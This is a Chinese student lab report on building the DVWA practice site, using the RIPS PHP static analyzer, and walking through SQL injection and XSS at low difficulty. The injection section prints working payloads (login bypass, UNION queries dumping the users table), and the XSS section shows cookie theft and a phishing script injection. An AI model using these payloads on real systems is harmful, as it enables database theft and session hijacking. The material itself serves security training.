实验一 静态代码编码规范审计实验
一、PHPstudy 搭建 DVWA
DVWA 是 OWASP 官方编写的 PHP 网站,包含了各种网站常见漏洞,可以学习攻击及修复方式。一个好的靶场,是黑客和网络安全从业者最方便和安全的磨刀石。接下来我们来谈一谈如何安装DVWA。
- 下载 PHPStudy,解压。(下载的时候,和安装 XAMPP 一样,不要安装到 C 盘。这个只对于没有单独安装Apache、Mysql、php 的同学可以安装,因为没有端口冲突。如果安装了其中的一个,需要自己手动配置,比较麻烦。)
点击启动,当显示为绿色就代表没有问题。红色就代表不能正常运行,有可能是端口号发生了冲突。
-
然后在 PHPstudy 的环境中搭建 DVWA 的靶场。点开 phpstudy 的安装目录,到 PHPTutorial 文件夹中的 www 文件夹。然后将下载好的 DVWA 复制到 www 文件夹当中。
-
然后在网址中输入 127.0.0.1/DVWA — master 访问。(注意,如果下载的文件名字是 DVWA ,不是 master,那么我们输入 127.0.0.1/DVWA 就可以了)
-
将后缀名 .dist 删掉
成为这样
我们接着再次访问刚刚输入的地址就会发现,成功访问 DVWA
- 我们会发现,需要创建一个数据库,直接点击创建会提示无法创建数据库
找到刚才删掉后缀".dist"的文件,打开并修改配置
-
再次点击创建数据库,会提示创建成功,并跳转到登录页面
-
登录 DVWA。默认账号为 admin,默认密码为 password
-
登陆成功,对于初学者来说,一定要修改靶场难度。
ok,DVWA 在 phpstudy 上的搭建我们就完成了,这些是2022年末的时候搭建的,我们来看如何在 WampServer 上搭建 DVWA。
二、WampServer搭建DVWA
https://blog.csdn.net/qq_59611876/article/details/128924681(如果没有环境请看我这篇笔记)
1、在 WampServer 安装路径 www 文件夹下创建环境所需文件夹
2、在我的电脑中按照这个路径,找到一个文件
C:\Windows\System32\drivers\etc
测试,连接成功
- 在相应的文件中配置虚拟主机
E:\Wamp\wamp\bin\apache\apache2.4.9\conf
-
复制粘贴这段代码到末尾
<VirtualHost *:80> ServerName www.d.com DocumentRoot "E:/Wamp/wamp/www/www.d.com" <Directory "E:/Wamp/wamp/www/www.d.com"> Order Deny,Allow Allow from all </Directory> #给默认的首页 Options Indexes FollowSymLinks </VirtualHost>
需要注意的是,因为我的 WampServer 安装在 E 盘,所以只需把路径中的盘符修改为自己安装的位置即可,其他的无需修改。在www.d.com文件中创立一个测试文件
在网址中输入www.d.com
测试成功。
-
将 DVWA 中所有的文件解压缩到 www.d.com 文件夹中
再来配置环境,
输入www.d.com,可以成功访问dvwa,然后创建数据库
发现有报错,然后发现一片飘红,我们打开 WampServer 桌面右下角,PHP→phpsetting→把 PHP function allow_url_include 勾选,然偶刷新。
然后再打开config文件
E:\Wamp\wamp\www\www.d.com\config
$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';
三、RIPS的介绍与安装
1、RIPS的介绍
RIPS用于 PHP 脚本漏洞的静态源代码分析器
RIPS 是最流行的静态代码分析工具,可自动检测 PHP 应用程序中的漏洞。通过对所有源代码文件进行标记和解析,RIPS 能够将 PHP 源代码转换为程序模型,并检测在程序流程中可能被用户输入(受恶意用户影响)污染的敏感接收器(可能存在漏洞的函数)。除了发现漏洞的结构化输出之外,RIPS 还提供了一个集成的代码审计框架.
使用了静态分析技术,能够自动化地挖掘PHP源代码潜在的安全漏洞如XSS ,SQL注入,敏感信息泄漏,文件包含等常见漏洞;也可以采用正则方式扫描代码发现漏洞;还能够采用自定义的语法扫描代码发现问题。渗透测试人员可以直接容易的审阅分析结果,而不用审阅整个程序代码。当然,最后去校验结果必须是我们自己去做.
RIPS 能够检测 XSS, SQL 注入, 文件泄露, Header Injection 漏洞等等
可以实现跨文件的变量和函数追踪 误报率很低
2、RIPS的安装
-
将下载好的 RIPS 压缩到此文件夹中
-
在网站中输入
http://www.d.com/RIPS/
ok,访问成功。
3、RIPS使用说明
如上图,是RIPS的主界面
**源码的绝对路径:**待扫描代码的文件地址;
**扫描子目录:**是否对代码的子目录进行扫描,勾选将会扫描子目录,不勾选只扫描当前目录下的PHP文件;
**扫描级别:**选择source点,即可控制的输入点,定义在rips下config/sources.php中;
**漏洞类型:**选择sink点,即可能会触发各种风险的函数,定义在rips下config/sinks.php中;
**扫描:**选择好前面的选项,点击该按钮即可开始扫描;
**代码样式:**扫描结果的展示方式;
**正则表达式:**要搜索内容的正则表达式;
**查找:**根据正则表达式对全局代码进行搜索;
案例:
我们扫描刚刚创建好的目录
E:\Wamp\wamp\www\www.d.com
扫描结果如下图所示,漏洞类型以及数量都在其中有显示。
左上角各类型功能说明
四、典型漏洞分析(SQL注入和XSS)
4-1 SQL注入漏洞基础–DVWA-LOW级别
声明!!!本教程仅限于网络安全学习,严禁用于非法途径。若因此作出任何危害网络安全行为后果自负,与本人无关。
4-1-1 SQL注入的原理
只要这个程序是人写的,那么一定会存在SQL注入的点。当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
4-1-2 SQL注入的本质
把用户输入的数据当做代码来执行,违背了“数据与代码分离”的原则
4-1-3 SQL注入的两个关键点
1、用户能够控制输入的内容;
2、Web应用把用户输入的内容带入到数据库中执行
4-1-4 SQL注入的危害
-
盗取网站的敏感信息
-
绕过网站后台认证
-
后台登录语句 SELECT * FROM admin WHERE username = 'user' and password = 'pass' 万能密码 'or '1' = '1' #
-
借助SQL注入漏洞提权获取系统权限
-
读取文件信息
4-1-5 SQL注入的分类
- 根据注入位置分类:GET型、POST型、Head头注入
- 根据反馈结果分类:有回显(显错注入)、无回显(盲注)
- 根据数据类型分类:
- 数字型:输入的参数为整型,如id、年龄、页码等
- 字符型:输入的参数为字符串
- 数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要单引号闭合。
4-1-6 SQL注入的流程
- 查询数据库类型
- 查询当前系统所使用的数据库名称是什么
- 查询当前数据库的表有什么
- 查询想要的信息内容
4-1-7 Low SQL Injection 注入
-
查看 源码我们会发现,定义了一个id,并且通过下述代码可以发现,Low级别没有对参数 id进行过滤,直接拼接到SQL语句中,存在明显的SQL注入漏洞。
随便输入一串字符串,比如1asd,
- 若无报错,说明是字符型,无闭合或 )闭合
- 若有报错,说明是数字型,在判断闭合方式,’ " ') ")
-
输入没报错,我们再输入一个单引号判断闭合方式,发现报错
提示了两个信息,数据库类型是Mysql,闭合方式我们知道是单引号。这就是有回显注入,有错误信息提示。
本来是 select * from 表名 where id = '1asd' 可以被识别到 我们加一个单引号之后变成了 select * from 表名 where id = '1asd' ' 无法识别,因此会报错
-
我们输入 0' or 1 =1# 会发现显示了所有的数据
-
猜测字段数
1' order by 字段数 # 随便输入,用二分法思想找确定字段数,最终可以确定字段数为2。虽然不输入也会显示两个字段,但是前端显示的和后端其实是不一样的。
-
判断列数及回显位
union关键字,联合查询,就是把两个select语句合并为一条语句,显示为一个结果。联合查询下,两个select一定要相同字段数量。 比如说: select * from users select * from books 变成一条后,就成为了 select * from users union select * from books 我们输入 1' union select 1,database()# 知道了数据库的名称为dvwa,接下来我们需要知道更多关于这个数据库的信息。
-
查询表
information_schema查询表名 我们输入 0' union select 1,table_name from information_schema.tables where table_schema = 'dvwa
我们可以知道,表名为guestbook和users。
-
查询指定表的字段信息
information_schema查询字段信息 我们输入 0' union select 1,column_name from information_schema.columns where table_name='users
这样我们就得到了users表全部字段信息
但是我们想要在一行显示出来,我们对输入的语句进行优化:
0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users
所有数据就会在一行显示出来
-
查询想要的信息内容
我们输入 0' union select user,password from users#
到此为止我们就获取到了全部的用户名和密码。但是密码我们发现是加密的,由于是MySQL数据库,因此我们知道加密方式为MD5,复制加密的密码,浏览器搜索MD5在线解压,即可获得解密后的密码。
我们以第一个为例,得知密码为password
4-2 XSS漏洞
4-2-1 什么是XSS?
- XSS(Cross Site Scripting):跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合,所以改名为XSS 。
- XSS原理:攻击者在网页中嵌入客户端脚本(通常是JavaScript的恶意脚本),当用户使用浏览器加载被嵌入恶意代码的网页时,恶意脚本代码就会在用户的浏览器执行,造成跨站脚本攻击。
4-2-2 XSS的危害
- 盗取Cookie
- 网络钓鱼
- 植马挖矿
- 刷流量
- 劫持后台
- 篡改页面
- 内网扫描
- 制造蠕虫等
4-2-3 XSS常出现的场景
- 重灾区:评论区、留言区、个人信息、订单信息等
- 针对型: 站内信、网页即时通讯、私信、意见反馈
- 存在风险:搜索框、当前目录、图片属性等
所以将来在工作中我们应该重点关注这些容易遭到攻击的地方。
4-2-4 XSS的分类
-
反射型XSS
-
存储型XSS
-
DOM型XSS
- 反射型XSS:
- 反射型XSS是非持久性、参数型的跨站脚本,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
- 出现场景:多出现在搜索框或者输入框。
反射型XSS利用流程:
-
存储型XSS:
- 恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性。
- 比较常见的场景是,黑客写下一篇包含有恶意JavaScript代码的博客文章,文章发表后,所有访问该博客的用户,都会在他们的浏览器中执行这段恶意js代码。
-
DOM型XSS:
-
DOM,全称Document 0bject Model(文档对象模型),是W3C推荐的一种独立于平台和语言的标准,定义了访问HTML和XML文档的标准。
-
Dom即window对象下内置的document对象。
DOM-XSS简单去理解就是输出点在DOM,属于特殊的反射型XSS
常用的DOM方法:
-
4-2-5 三种类型的比较
XSS型 | 存储型 | 反射型 | DOM型 |
---|---|---|---|
触发过程 | 1、黑客构造xSS脚本 2、正常用户访问携带XSS脚本的页面 | 正常用户访问携带XSS脚本的URL | 正常用户访问携带XSS脚本的URL |
数据存储 | 服务器 | URL | URL |
谁来输出 | 后端Web应用程序 | 后端Web应用程序 | 前端JavaScript |
输出位置 | HTTP响应中 | HTTP响应中 | 动态构造的DOM节点中 |
是否持久 | 是 | 否 | 否 |
4-2-6 利用BLUE-LOTUS平台进行XSS攻击
BLUE-LOTUS是清华大学蓝莲花战队搭建的一个开源XSS平台,可以利用XSS漏洞窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息等。
蓝莲花的安装:
- 将下载好的BlueLotus放到phpstudy中的phptutorial下的www文件夹中
- 输入127.0.0.1/BlueLotus访问蓝莲花平台,点击安装,然后提交,输入默认密码,进入平台
-
这就是蓝莲花平台
-
按照以下步骤操作,复制生成的payload,到输入框
-
然后我们在后台就获得到了dvwa靶场的cookie,我们可以利用它直接登录。
4-2-7 漏洞钓鱼
利用XSS漏洞,可以修改网站的链接,让用户访问伪装成正常网站的恶意网站。比如,可以利用flash钓鱼。将项目源码放到web网站里,修改flash.js第10行的链接为项目的首页链接,然后在漏洞处插入payload。
-
我们将flash下载好,放到放到phpstudy中的phptutorial下的www文件夹中。
-
然后在DVWA靶场中(反射型XSS,low级别)输入:
<script src=http://127.0.0.1/flash/flash.js>
就会出现一个弹窗,然后就会来到flah网站下载页面
所以不清楚的链接不要随便点击!!!
五、实验结和感想。
1、通过本次实验,学会了用不同平台搭建DVWA靶场,并及时处理遇到的问题,比如端口冲突如何解决、DVWA乱码等等问题。
2、初步掌握RIPS原理、界面、以及各种功能的使用,在后续的学习中,需要利用各种代码审计的工具来进行源代码审计。
3、在去年的网安冬令营学到的知识的基础上进行总结分析,重点分析、回顾了SQL注入与XSS两种典型漏洞
网安的水很深,需要学习的东西太多太多,要想不被时代抛弃,我们只能不断的进行学习,活到老学到老。